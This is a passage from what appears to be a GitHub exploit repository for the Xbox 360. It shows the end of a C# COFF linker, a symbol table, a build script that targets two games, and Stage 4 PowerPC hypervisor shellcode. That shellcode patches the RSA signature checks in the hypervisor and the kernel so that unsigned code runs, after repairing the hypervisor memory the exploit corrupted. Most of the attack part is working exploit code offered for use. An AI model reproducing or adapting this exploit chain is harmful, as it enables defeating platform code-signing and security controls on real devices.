| 196 | // Seek to the relocation data for the section. 197 | reader.BaseStream.Position = sectionHdr.PointerToRelocations; 198 | 199 | // Loop and parse relocations for the section. 200 | for (int x = 0; x < sectionHdr.NumberOfRelocations; x++) 201 | { 202 | COFF_RELOCATION reloc = new COFF_RELOCATION(); 203 | reloc.VirtualAddress = reader.ReadInt32(); 204 | reloc.SymbolTableIndex = reader.ReadInt32(); 205 | reloc.Type = reader.ReadInt16(); 206 | 207 | sectionHdr.Relocations.Add(reloc); 208 | } 209 | 210 | // Restore reader position. 211 | reader.BaseStream.Position = position; 212 | 213 | sectionHeaders.Add(sectionHdr); 214 | } 215 | 216 | // Seek to the symbol table. 217 | reader.BaseStream.Position = coffHeader.PointerToSymbolTable; 218 | 219 | int auxSymbolCount = 0; 220 | 221 | // Loop and read the symbol table entries. 222 | List symbolEntries = new List(); 223 | for (int i = 0; i < coffHeader.NumberOfSymbols; i++) 224 | { 225 | SYMBOL_TABLE_ENTRY symbol = new SYMBOL_TABLE_ENTRY(); 226 | 227 | // Check if this is an aux symbol or not. 228 | if (auxSymbolCount == 0) 229 | { 230 | symbol.Name = reader.ReadBytes(8); 231 | symbol.Value = reader.ReadInt32(); 232 | symbol.SectionNumber = reader.ReadInt16(); 233 | symbol.Type = reader.ReadInt16(); 234 | symbol.StorageClass = reader.ReadByte(); 235 | auxSymbolCount = symbol.NumberOfAuxSymbols = reader.ReadByte(); 236 | } 237 | else 238 | { 239 | symbol.AuxSymbolData = reader.ReadBytes(18); 240 | auxSymbolCount--; 241 | } 242 | 243 | symbolEntries.Add(symbol); 244 | } 245 | 246 | // Save the position of the string table, 247 | int stringTableOffset = (int)reader.BaseStream.Position; 248 | int stringTableSize = reader.ReadInt32() - 4; 249 | 250 | // Loop and parse the string table. 251 | Dictionary stringTable = new Dictionary(); 252 | while (reader.BaseStream.Position < reader.BaseStream.Length) 253 | { 254 | int offset = (int)reader.BaseStream.Position - stringTableOffset; 255 | stringTable.Add(offset, reader.ReadNullTerminatingString()); 256 | } 257 | 258 | 259 | Console.WriteLine($"Searching for symbol '{entryPointName}'..."); 260 | 261 | // Find the symbol entry that matches the entry point name. 262 | int entryPointSymbolIndex = -1; 263 | for (int i = 0; i < symbolEntries.Count; i++) 264 | { 265 | // Check if this symbol has matching name. 266 | if (GetSymbolName(symbolEntries[i]) == entryPointName) 267 | { 268 | entryPointSymbolIndex = i; 269 | break; 270 | } 271 | 272 | // Skip aux symbol entries. 273 | i += symbolEntries[i].NumberOfAuxSymbols; 274 | } 275 | 276 | // Make sure we found a symbol with matching name. 277 | if (entryPointSymbolIndex == -1) 278 | { 279 | Console.WriteLine($"Failed to find symbol for name '{entryPointName}'!"); 280 | return; 281 | } 282 | 283 | 284 | string GetSymbolName(SYMBOL_TABLE_ENTRY symbol) 285 | { 286 | // Check if the symbol name is short enough to be inline or not. 287 | if (BitConverter.ToInt32(symbol.Name, 0) == 0) 288 | { 289 | // Fetch the name from the string table. 290 | int offset = BitConverter.ToInt32(symbol.Name, 4); 291 | return stringTable[offset]; 292 | } 293 | else 294 | { 295 | return symbol.GetNameClean(); 296 | } 297 | } 298 | 299 | 300 | // Create the output file. 301 | FileStream outputFs = new FileStream(outputFilePath, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite); 302 | EndianReader outputReader = new EndianReader(Endianness.Big, outputFs); 303 | EndianWriter outputWriter = new EndianWriter(Endianness.Big, outputFs); 304 | 305 | // Create a list of symbols that need to be added to the output binary and symbols that need relocations. 306 | Queue functionsToAdd = new Queue(); 307 | Queue dataToAdd = new Queue(); 308 | Queue externsToAdd = new Queue(); 309 | HashSet symbolsAdded = new HashSet(); 310 | HashSet relocationQueue = new HashSet(); 311 | 312 | // Dictionary of symbols and their final virtual address. 313 | Dictionary SymbolLookupTable = new Dictionary(); 314 | Dictionary SectionVATable = new Dictionary(); 315 | 316 | // Add the symbol for main to the functions list. 317 | functionsToAdd.Enqueue(entryPointSymbolIndex); 318 | 319 | // Recursively process functions that need to be added to the output file. 320 | while (functionsToAdd.Count > 0) 321 | { 322 | // Get the top item in the queue. 323 | int debugSymbolIndex = functionsToAdd.Dequeue(); 324 | if (symbolsAdded.Contains(debugSymbolIndex) == true) 325 | continue; 326 | 327 | // Check the name of the section this symbol points to. 328 | Debug.Assert(sectionHeaders[symbolEntries[debugSymbolIndex].SectionNumber].GetNameClean() == ".debug$S"); 329 | 330 | // Save the name of the symbol using the .debug$S symbol. 331 | string symbolName = GetSymbolName(symbolEntries[debugSymbolIndex]); 332 | 333 | // Find a symbol that points to the .text section for the entry point function. 334 | int sectionIndex = symbolEntries[debugSymbolIndex].SectionNumber - 1; 335 | int symbolIndex = symbolEntries.FindIndex(s => s.SectionNumber == sectionIndex); 336 | 337 | // Calculate the address the symbol will be written to in the output file. 338 | sectionIndex = symbolEntries[symbolIndex].SectionNumber; 339 | uint symbolBaseAddress = baseAddress + (uint)outputWriter.BaseStream.Position; 340 | 341 | Console.WriteLine($"Adding 0x{symbolBaseAddress:X08} '{symbolName}'"); 342 | SymbolLookupTable.Add(symbolName, symbolBaseAddress); 343 | SectionVATable.Add(sectionIndex, symbolBaseAddress); 344 | 345 | // Seek to and read the data for this function. 346 | reader.BaseStream.Position = sectionHeaders[sectionIndex].PointerToRawData; 347 | byte[] functionData = reader.ReadBytes(sectionHeaders[sectionIndex].SizeOfRawData); 348 | 349 | // Write the function data to the output file. 350 | outputWriter.Write(functionData); 351 | 352 | // Loop through the relocations for this section and queue additional functions and data as needed. 353 | for (int i = 0; i < sectionHeaders[sectionIndex].Relocations.Count; i++) 354 | { 355 | // Check the section index to determine if the relocation points to external data or not. 356 | int refIndex = sectionHeaders[sectionIndex].Relocations[i].SymbolTableIndex; 357 | if (refIndex != 0) 358 | { 359 | if (symbolEntries[refIndex].SectionNumber != 0) 360 | { 361 | // Check the relocation type. 362 | if (symbolEntries[refIndex].Type == 0x20) 363 | functionsToAdd.Enqueue(refIndex); 364 | else 365 | dataToAdd.Enqueue(refIndex); 366 | } 367 | else 368 | { 369 | // Add the symbol to the list of externs. 370 | externsToAdd.Enqueue(refIndex); 371 | } 372 | } 373 | } 374 | 375 | // Add this function to the list of symbols that have been added. 376 | symbolsAdded.Add(debugSymbolIndex); 377 | } 378 | 379 | // Create the __savegprlr/__restgprlr sleds. 380 | uint saveGprCodeBaseAddress = baseAddress + (uint)outputWriter.BaseStream.Position; 381 | outputWriter.Write(SaveGprCode); 382 | for (int i = 14; i <= 31; i++) 383 | { 384 | SymbolLookupTable.Add($"__savegprlr_{i}", saveGprCodeBaseAddress); 385 | saveGprCodeBaseAddress += 4; 386 | } 387 | 388 | uint restoreGprCodeBaseAddress = baseAddress + (uint)outputWriter.BaseStream.Position; 389 | outputWriter.Write(RestoreGprCode); 390 | for (int i = 14; i <= 31; i++) 391 | { 392 | SymbolLookupTable.Add($"__restgprlr_{i}", restoreGprCodeBaseAddress); 393 | restoreGprCodeBaseAddress += 4; 394 | } 395 | 396 | // Loop through all the external symbols and create fake import stubs for them. 397 | bool missingExterns = false; 398 | while (externsToAdd.Count > 0) 399 | { 400 | // Get the top item in the queue. 401 | int symbolIndex = externsToAdd.Dequeue(); 402 | string name = GetSymbolName(symbolEntries[symbolIndex]); 403 | 404 | // Check if we've already resolved this symbol. 405 | if (SymbolLookupTable.ContainsKey(name) == true) 406 | continue; 407 | 408 | // Check we have an extern address for this symbol. 409 | if (ExternalSymbolLookupTable.ContainsKey(name) == false) 410 | { 411 | // Flag that we have missing externs. 412 | Console.WriteLine($"ERROR: unresolved external symbol '{name}'"); 413 | missingExterns = true; 414 | 415 | // Add a faux entry so we don't spew multiple errors for the same symbol name. 416 | SymbolLookupTable.Add(name, 0); 417 | continue; 418 | } 419 | 420 | // Resolve the extern symbol address. 421 | uint externAddress = ExternalSymbolLookupTable[name]; 422 | 423 | // Add the symbol to the list of resolved symbols. 424 | uint stubAddress = baseAddress + (uint)outputWriter.BaseStream.Position; 425 | Console.WriteLine($"Adding 0x{stubAddress:X08} '{name}' (import) 0x{externAddress:X08}"); 426 | SymbolLookupTable.Add(name, stubAddress); 427 | 428 | // Create a fake import stub for the external symbol. 429 | outputWriter.Write((uint)0x3D600000 | ((externAddress >> 16) & 0xFFFF)); // lis r11, 0xAABB 430 | outputWriter.Write((uint)0x616B0000 | (externAddress & 0xFFFF)); // ori r11, r11, 0xCCDD 431 | outputWriter.Write((uint)0x7D6903A6); // mtctr r11 432 | outputWriter.Write((uint)0x4E800420); // bctr 433 | } 434 | 435 | // If we had missing external symbols bail out now. 436 | if (missingExterns == true) 437 | return; 438 | 439 | // Add any data referenced to the output file. 440 | outputWriter.AlignToBoundary(16); 441 | while (dataToAdd.Count > 0) 442 | { 443 | // Get the top item in the queue and make sure we haven't already added it. 444 | int symbolIndex = dataToAdd.Dequeue(); 445 | if (symbolsAdded.Contains(symbolIndex) == true) 446 | continue; 447 | 448 | // Check if the section has already been written to file. 449 | int sectionIndex = symbolEntries[symbolIndex].SectionNumber - 1; 450 | if (SectionVATable.ContainsKey(sectionIndex) == false) 451 | { 452 | // Check if the symbol has strict alignment requirements. 453 | int alignment = AlignmentIntervalFromSectionCharacteristics(sectionHeaders[sectionIndex].Characteristics); 454 | outputWriter.AlignToBoundary(alignment); 455 | 456 | uint sectionBaseAddress = baseAddress + (uint)outputWriter.BaseStream.Position; 457 | 458 | // Seek to and read the data for this symbol. 459 | reader.BaseStream.Position = sectionHeaders[sectionIndex].PointerToRawData; 460 | byte[] functionData = reader.ReadBytes(sectionHeaders[sectionIndex].SizeOfRawData); 461 | //string test = Encoding.UTF8.GetString(functionData); 462 | 463 | // Write the data to the output file. 464 | outputWriter.Write(functionData); 465 | outputWriter.AlignToBoundary(4); 466 | 467 | SectionVATable.Add(sectionIndex, sectionBaseAddress); 468 | } 469 | 470 | // Calculate the address the symbol will located at in memory. 471 | uint symbolBaseAddress = SectionVATable[sectionIndex] + (uint)symbolEntries[symbolIndex].Value; 472 | 473 | string symbolName = GetSymbolName(symbolEntries[symbolIndex]); 474 | Console.WriteLine($"Adding 0x{symbolBaseAddress:X08} '{symbolName}'"); 475 | SymbolLookupTable.Add(symbolName, symbolBaseAddress); 476 | 477 | // Add this function to the list of symbols that have been added. 478 | symbolsAdded.Add(symbolIndex); 479 | } 480 | outputWriter.AlignToBoundary(16); 481 | 482 | // Loop through every symbol added and process relocations. 483 | Console.WriteLine("Processing relocations..."); 484 | for (int i = 0; i < symbolsAdded.Count; i++) 485 | { 486 | // Get the name and address of the symbol. 487 | int symbolIndex = symbolsAdded.ElementAt(i); 488 | string symbolName = GetSymbolName(symbolEntries[symbolIndex]); 489 | uint symbolAddress = SymbolLookupTable[symbolName]; 490 | int symbolBaseOffset = (int)(symbolAddress - baseAddress); 491 | 492 | // Get the section index for this symbol and process relocations. 493 | int sectionIndex = symbolEntries[symbolIndex].SectionNumber - 1; 494 | for (int x = 0; x < sectionHeaders[sectionIndex].Relocations.Count; x++) 495 | { 496 | // Get the name and address of the symbol being referenced. 497 | COFF_RELOCATION reloc = sectionHeaders[sectionIndex].Relocations[x]; 498 | if (reloc.Type == 0x12) 499 | { 500 | Debug.Assert(reloc.SymbolTableIndex == 0); 501 | continue; 502 | } 503 | 504 | string refSymbolName = GetSymbolName(symbolEntries[reloc.SymbolTableIndex]); 505 | uint refSymbolAddress = SymbolLookupTable[refSymbolName]; 506 | int refSymbolOffset = (int)(refSymbolAddress - baseAddress); 507 | 508 | int relocOffset = symbolBaseOffset + reloc.VirtualAddress; 509 | outputReader.BaseStream.Position = relocOffset; 510 | 511 | // Check the relocation type and handle accordingly. 512 | switch (reloc.Type) 513 | { 514 | case 0x0006: 515 | { 516 | // IMAGE_REL_PPC_REL24 - A 24-bit PC-relative offset to the symbol’s location. 517 | int pcOffset = refSymbolOffset - relocOffset; 518 | //Debug.Assert((pcOffset & 0xFF000000) == 0); 519 | 520 | // Mask in the 24-bit PC-relative offset. 521 | uint opcode = outputReader.ReadUInt32(); 522 | opcode = (uint)((opcode & ~0x03FFFFFC) | (pcOffset & 0x03FFFFFC)); 523 | 524 | // Write new opcode value. 525 | outputWriter.BaseStream.Position = relocOffset; 526 | outputWriter.Write(opcode); 527 | break; 528 | } 529 | case 0x0010: 530 | { 531 | // IMAGE_REL_PPC_REFHI - The high 16 bits of the target’s 32-bit VA. This is used for the first instruction in a 532 | // two-instruction sequence that loads a full address. This relocation must be immediately followed by a PAIR relocation 533 | // whose SymbolTableIndex contains a signed 16-bit displacement that is added to the upper 16 bits that was taken from 534 | // the location that is being relocated. 535 | 536 | // Mask in the upper 16-bits of the target symbol address. 537 | uint opcode = outputReader.ReadUInt32(); 538 | opcode = (uint)((opcode & 0xFFFF0000) | ((refSymbolAddress >> 16) & 0xFFFF)); 539 | 540 | // Write new opcode value. 541 | outputWriter.BaseStream.Position = relocOffset; 542 | outputWriter.Write(opcode); 543 | break; 544 | } 545 | case 0x0011: 546 | { 547 | // IMAGE_REL_PPC_REFLO - The low 16 bits of the target’s VA. 548 | 549 | // Mask in the lower 16-bits of the target symbol address. 550 | uint opcode = outputReader.ReadUInt32(); 551 | opcode = (uint)((opcode & 0xFFFF0000) | (refSymbolAddress & 0xFFFF)); 552 | 553 | // Write new opcode value. 554 | outputWriter.BaseStream.Position = relocOffset; 555 | outputWriter.Write(opcode); 556 | break; 557 | } 558 | case 0x0012: 559 | { 560 | // IMAGE_REL_PPC_PAIR - A relocation that is valid only when it immediately follows a REFHI or SECRELHI relocation. 561 | // Its SymbolTableIndex contains a displacement and not an index into the symbol table. 562 | 563 | // Do we need to do anything here? 564 | Debug.Assert(reloc.SymbolTableIndex == 0); 565 | break; 566 | } 567 | default: 568 | { 569 | throw new NotSupportedException($"Relocation type 0x{reloc.Type:X04} not supported"); 570 | } 571 | } 572 | } 573 | } 574 | 575 | // Object file successfully linked. 576 | Console.WriteLine("Successfully linked object file"); 577 | 578 | // Close output file. 579 | outputReader.Close(); 580 | outputWriter.Close(); 581 | outputFs.Close(); 582 | } 583 | } 584 | } -------------------------------------------------------------------------------- /Stage3/symbol_table.asm: -------------------------------------------------------------------------------- 1 | 2 | #--------------------------------------------------------- 3 | # Symbol map consumed by the linker. 4 | #--------------------------------------------------------- 5 | 6 | # Compiler flags, must be set before any code or include directives: 7 | .include "BuildConfig.asm" 8 | 9 | # Emit a symbol table that can be consumed by the compiler to link to known functions: 10 | # 11 | # FuncName = 0xAABBCCDD; 12 | # 13 | 14 | .macro NIBBLE_TO_CHAR val 15 | .if \val > 9 16 | .byte 'A' + (\val - 0xA) 17 | .else 18 | .byte '0' + \val 19 | .endif 20 | .endm 21 | 22 | .macro DWORD_TO_STR val 23 | NIBBLE_TO_CHAR (\val >> 28) & 0xF 24 | NIBBLE_TO_CHAR (\val >> 24) & 0xF 25 | NIBBLE_TO_CHAR (\val >> 20) & 0xF 26 | NIBBLE_TO_CHAR (\val >> 16) & 0xF 27 | NIBBLE_TO_CHAR (\val >> 12) & 0xF 28 | NIBBLE_TO_CHAR (\val >> 8) & 0xF 29 | NIBBLE_TO_CHAR (\val >> 4) & 0xF 30 | NIBBLE_TO_CHAR (\val >> 0) & 0xF 31 | .endm 32 | 33 | .macro SYMBOL_ENTRY name 34 | .ascii "\name = 0x" 35 | DWORD_TO_STR \name 36 | .ascii ";\n" 37 | .endm 38 | 39 | # Note: Do NOT define symbol addresses in this file! They must be defined as part of the kernel/game configs 40 | # and be supported by all targets/games supported. 41 | 42 | # Symbol table: 43 | SYMBOL_ENTRY XSetThreadProcessor 44 | SYMBOL_ENTRY XPhysicalAlloc 45 | SYMBOL_ENTRY CreateFileA 46 | SYMBOL_ENTRY GetFileSize 47 | SYMBOL_ENTRY ReadFile 48 | SYMBOL_ENTRY CreateThread 49 | SYMBOL_ENTRY ResumeThread 50 | SYMBOL_ENTRY GetLastError 51 | SYMBOL_ENTRY XLaunchNewImage 52 | SYMBOL_ENTRY memcpy 53 | SYMBOL_ENTRY memset 54 | -------------------------------------------------------------------------------- /Stage4/BadUpdateExploit-4thStage.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Note these addresses must be in the first segment of the hv or else a 64-bit address is required! 4 | 5 | .ifdef RETAIL_BUILD 6 | 7 | # Hypervisor function addresses for retail 17559: 8 | .set HvpRelocateCacheLines, 0x00000E14 9 | .set HvpSetRMCI, 0x00000398 10 | 11 | .else 12 | .error "Stage 4 support for debug builds not implemented" 13 | .endif 14 | 15 | 16 | _hv_payload_start: 17 | 18 | ########################################################### 19 | # Hypervisor shell code entry point 20 | # 21 | # r3 - 22 | # r4 - address of shell code payload 23 | 24 | .set StackSize, 0x30 25 | .set SmcCmdBuffer, -0x30 26 | .set s_r30, -0x18 27 | .set s_r31, -0x10 28 | .set linkreg, -0x8 29 | 30 | # Setup the stack frame. 31 | mflr %r12 32 | std %r12, linkreg(%r1) 33 | std %r30, s_r30(%r1) 34 | std %r31, s_r31(%r1) 35 | addi %r1, %r1, -StackSize 36 | 37 | # Save argument registers. 38 | mr %r31, %r4 # Shell code base address 39 | 40 | # Setup the SMC command buffer. 41 | addi %r12, %r1, StackSize+SmcCmdBuffer 42 | std %r0, 0(%r12) 43 | std %r0, 8(%r12) 44 | 45 | # Set the LED color command. 46 | li %r11, 0x99 # LED color cmd 47 | stb %r11, 0(%r12) 48 | li %r11, 0xFF # LED override 49 | stb %r11, 1(%r12) 50 | li %r11, 0xFF # color = orange 51 | stb %r11, 2(%r12) 52 | 53 | # Send the command to the SMC. 54 | mr %r3, %r12 55 | mr %r11, %r31 56 | addi %r11, %r11, (HvxSendSMCMessage - _hv_payload_start) 57 | mtctr %r11 58 | bctrl 59 | 60 | # Fix the hv data we trashed in the exploit. 61 | li %r5, 0x10000 / 0x80 # cache line count = segment size / cache line size 62 | ld %r4, (hv_restore_data_address - _hv_payload_start)(%r31) # dst = address of last hv segment 63 | addi %r3, %r31, (hypervisor_restore_data - _hv_payload_start) # src = address of clean hv data 64 | li %r11, HvpRelocateCacheLines 65 | mtctr %r11 66 | bctrl 67 | 68 | # Apply patches to the hypervisor so we can run unsigned code. 69 | lis %r4, 0x3860 70 | ori %r4, %r4, 1 # opcode for 'li r3, 1' 71 | ld %r3, (hv_rsa_patch_address - _hv_payload_start)(%r31) 72 | stw %r4, 0(%r3) 73 | 74 | # Flush cache. 75 | li %r5, 0x7F 76 | andc %r3, %r3, %r5 77 | icbi 0, %r3 78 | 79 | # Disable RMCI (enable caching) so we can touch the encrypted address range. 80 | li %r3, 0 81 | li %r11, HvpSetRMCI 82 | mtctr %r11 83 | bctrl 84 | 85 | # Apply patches to the kernel so we can run unsigned code. 86 | lis %r4, 0x3860 87 | ori %r4, %r4, 1 # opcode for 'li r3, 1' 88 | ld %r3, (kernel_rsa_patch_address - _hv_payload_start)(%r31) 89 | stw %r4, 0(%r3) 90 | 91 | # Flush cache. 92 | li %r5, 0x7F 93 | andc %r3, %r3, %r5 94 | icbi 0, %r3 95 | 96 | # Enable RMCI (disable caching). 97 | li %r3, 1 98 | li %r11, HvpSetRMCI 99 | mtctr %r11 100 | bctrl 101 | 102 | lis %r3, 0x4141 103 | ori %r3, %r3, 0x4141 104 | 105 | # Destroy the stack frame. 106 | addi %r1, %r1, StackSize 107 | ld %r30, s_r30(%r1) 108 | ld %r31, s_r31(%r1) 109 | ld %r12, linkreg(%r1) 110 | mtlr %r12 111 | blr 112 | 113 | 114 | ########################################################### 115 | # HvxSendSMCMessage (r3 pMessageBuffer) 116 | # 117 | ########################################################### 118 | HvxSendSMCMessage: 119 | 120 | # Setup stack frame. 121 | mflr %r12 122 | std %r12, -0x8(%r1) 123 | std %r31, -0x10(%r1) 124 | addi %r1, %r1, -0x20 125 | 126 | # Setup the SMC's physical address. 127 | lis %r31, 0x8000 128 | ori %r31, %r31, 0x200 129 | rldicr %r31, %r31, 32, 31 130 | oris %r31, %r31, 0xEA00 131 | ori %r31, %r31, 0x1000 # 0x80000200.EA001000 132 | 133 | # Wait for the SMC to become ready. 134 | smc_rdy_loop: 135 | #lwz %r11, 0x84(%r31) # poll SMC status register 136 | #rlwinm. %r11, %r11, 0, 29, 29 137 | #beq smc_rdy_loop # Loop until the smc is ready 138 | 139 | # Set the SMC status to busy. 140 | lis %r11, 0x400 141 | stw %r11, 0x84(%r31) 142 | eieio 143 | 144 | # Setup for command write loop. 145 | li %r11, 4 146 | mtctr %r11 147 | 148 | # Write the next 4 bytes of data to the SMC command register. 149 | smc_write: 150 | lwz %r11, 0(%r3) # get next dword 151 | addi %r3, %r3, 4 152 | stw %r11, 0x80(%r31) # write to SMC command register 153 | eieio 154 | bdnz smc_write # while (i-- > 0) 155 | 156 | # Set the SMC status to ready. 157 | li %r11, 0 158 | stw %r11, 0x84(%r31) 159 | eieio 160 | 161 | # Destroy stack frame. 162 | addi %r1, %r1, 0x20 163 | ld %r31, -0x10(%r1) 164 | ld %r12, -0x8(%r1) 165 | mtlr %r12 166 | blr 167 | 168 | 169 | ########################################################### 170 | # Data 171 | ########################################################### 172 | 173 | hv_restore_data_address: 174 | .long 0x80000106, 0x00030000 # Physical address of the last hv segment 175 | 176 | .ifdef RETAIL_BUILD 177 | 178 | hv_rsa_patch_address: 179 | .long 0x80000104, 0x00029B04 # Physical address of the 'bl XeCryptBnQwBeSigVerify' instruction in HvpImageSignatureVerification 180 | 181 | kernel_rsa_patch_address: 182 | .long 0x80000300, 0x0007BFDC # Physical address of the 'bl XeCryptBnQwBeSigVerify' instruction in XexpVerifyXexHeaders 183 | 184 | .else 185 | .error "Stage 4 support for debug builds not implemented" 186 | .endif 187 | 188 | 189 | # Align clean hypervisor data to cache line interval. 190 | .align 7 191 | 192 | hypervisor_restore_data: 193 | 194 | .ifdef RETAIL_BUILD 195 | # Clean hypervisor data for the last hypervisor segment we trash during the exploit. 196 | .incbin "Stage4_CleanHvData_Retail_17559.bin" 197 | .else 198 | .error "Stage 4 support for debug builds not implemented" 199 | .endif 200 | 201 | 202 | -------------------------------------------------------------------------------- /Stage4/Stage4_CleanHvData_Retail_17559.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grimdoomer/Xbox360BadUpdate/521a2894dfb55804623acfcbc763712c52385835/Stage4/Stage4_CleanHvData_Retail_17559.bin -------------------------------------------------------------------------------- /build_exploit.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | :: Check if the tools directory has been setup. 4 | if not exist "%~dp0Tools\XePatcher\XePatcher.exe" ( 5 | echo Please download Tools.zip from GitHub and extract into this directory 6 | exit /b 7 | ) 8 | 9 | :: Check for game argument. 10 | if "%1" == "THAW" ( 11 | set TARGET_GAME=TONY_HAWK_AW 12 | set GAME_NAME=TonyHawksAmericanWasteland 13 | ) else if "%1" == "RBB" ( 14 | set TARGET_GAME=RB_BLITZ 15 | set GAME_NAME=RockBandBlitz 16 | ) else ( 17 | echo Target game unsupported or invalid 18 | exit /b 19 | ) 20 | 21 | set GAME_INC_DIR="%~dp0Stage1\%GAME_NAME%" 22 | 23 | :: Check for retail/debug build config. 24 | if "%2" == "" ( 25 | :: Default to retail build. 26 | set BUILD_CONFIG=RETAIL_BUILD 27 | ) else ( 28 | set BUILD_CONFIG=%2 29 | ) 30 | 31 | :: Create the output directory if it doesn't already exist. 32 | set BIN_DIR=%~dp0bin\%BUILD_CONFIG%\%GAME_NAME% 33 | if not exist "%BIN_DIR%" ( 34 | mkdir "%BIN_DIR%" 35 | ) 36 | 37 | 38 | :: ---------------------------------------------------------------------------- 39 | :: Stage 2 40 | :: ---------------------------------------------------------------------------- 41 | echo: 42 | echo ============================================================================ 43 | echo Compiling stage 2 44 | echo ============================================================================ 45 | 46 | "%~dp0Tools\XePatcher\XePatcher.exe" -p "%~dp0Stage2\BadUpdateExploit-2ndStage.asm" -proc ppc --defsym %BUILD_CONFIG%=1 --defsym %TARGET_GAME%=1 --include "%~dp0Common" --include %GAME_INC_DIR% 47 | 48 | 49 | :: ---------------------------------------------------------------------------- 50 | :: Stage 3 51 | :: ---------------------------------------------------------------------------- 52 | echo: 53 | echo ============================================================================ 54 | echo Compiling stage 3 55 | echo ============================================================================ 56 | 57 | :: Symbol table: 58 | "%~dp0Tools\XePatcher\XePatcher.exe" -p "%~dp0Stage3\symbol_table.asm" -proc ppc --defsym %BUILD_CONFIG%=1 --defsym %TARGET_GAME%=1 --include "%~dp0Common" --include %GAME_INC_DIR% 59 | echo: 60 | 61 | :: Exploit code: 62 | "%~dp0Tools\XePatcher\XePatcher.exe" -p "%~dp0Stage3\BadUpdateExploit-3rdStage.asm" -proc ppc --defsym %BUILD_CONFIG%=1 --defsym %TARGET_GAME%=1 --include "%~dp0Common" --include %GAME_INC_DIR% 63 | 64 | 65 | :: ---------------------------------------------------------------------------- 66 | :: Stage 4 67 | :: ---------------------------------------------------------------------------- 68 | echo: 69 | echo ============================================================================ 70 | echo Compiling stage 4 71 | echo ============================================================================ 72 | 73 | "%~dp0Tools\XePatcher\XePatcher.exe" -p "%~dp0Stage4\BadUpdateExploit-4thStage.asm" -proc ppc --defsym %BUILD_CONFIG%=1 --defsym %TARGET_GAME%=1 --include "%~dp0Common" --include %GAME_INC_DIR% 74 | echo: 75 | 76 | :: Copy files to output directory. 77 | echo Copying files to "%BIN_DIR%" 78 | xcopy "%~dp0Stage2\BadUpdateExploit-2ndStage.bin" "%BIN_DIR%" /Y /Q 79 | xcopy "%~dp0Stage3\BadUpdateExploit-3rdStage.bin" "%BIN_DIR%" /Y /Q 80 | xcopy "%~dp0Stage4\BadUpdateExploit-4thStage.bin" "%BIN_DIR%" /Y /Q 81 | xcopy "%~dp0update_data.bin" "%BIN_DIR%" /Y /Q 82 | xcopy "%~dp0xke_update.bin" "%BIN_DIR%" /Y /Q 83 | 84 | :: Print a message telling the user to rebuild the game saves. 85 | echo: 86 | echo: 87 | echo Build completed, game saves must be rebuilt if stage 1 or 2 was modified!! 88 | 89 | -------------------------------------------------------------------------------- /update_data.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grimdoomer/Xbox360BadUpdate/521a2894dfb55804623acfcbc763712c52385835/update_data.bin -------------------------------------------------------------------------------- /xke_update.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grimdoomer/Xbox360BadUpdate/521a2894dfb55804623acfcbc763712c52385835/xke_update.bin --------------------------------------------------------------------------------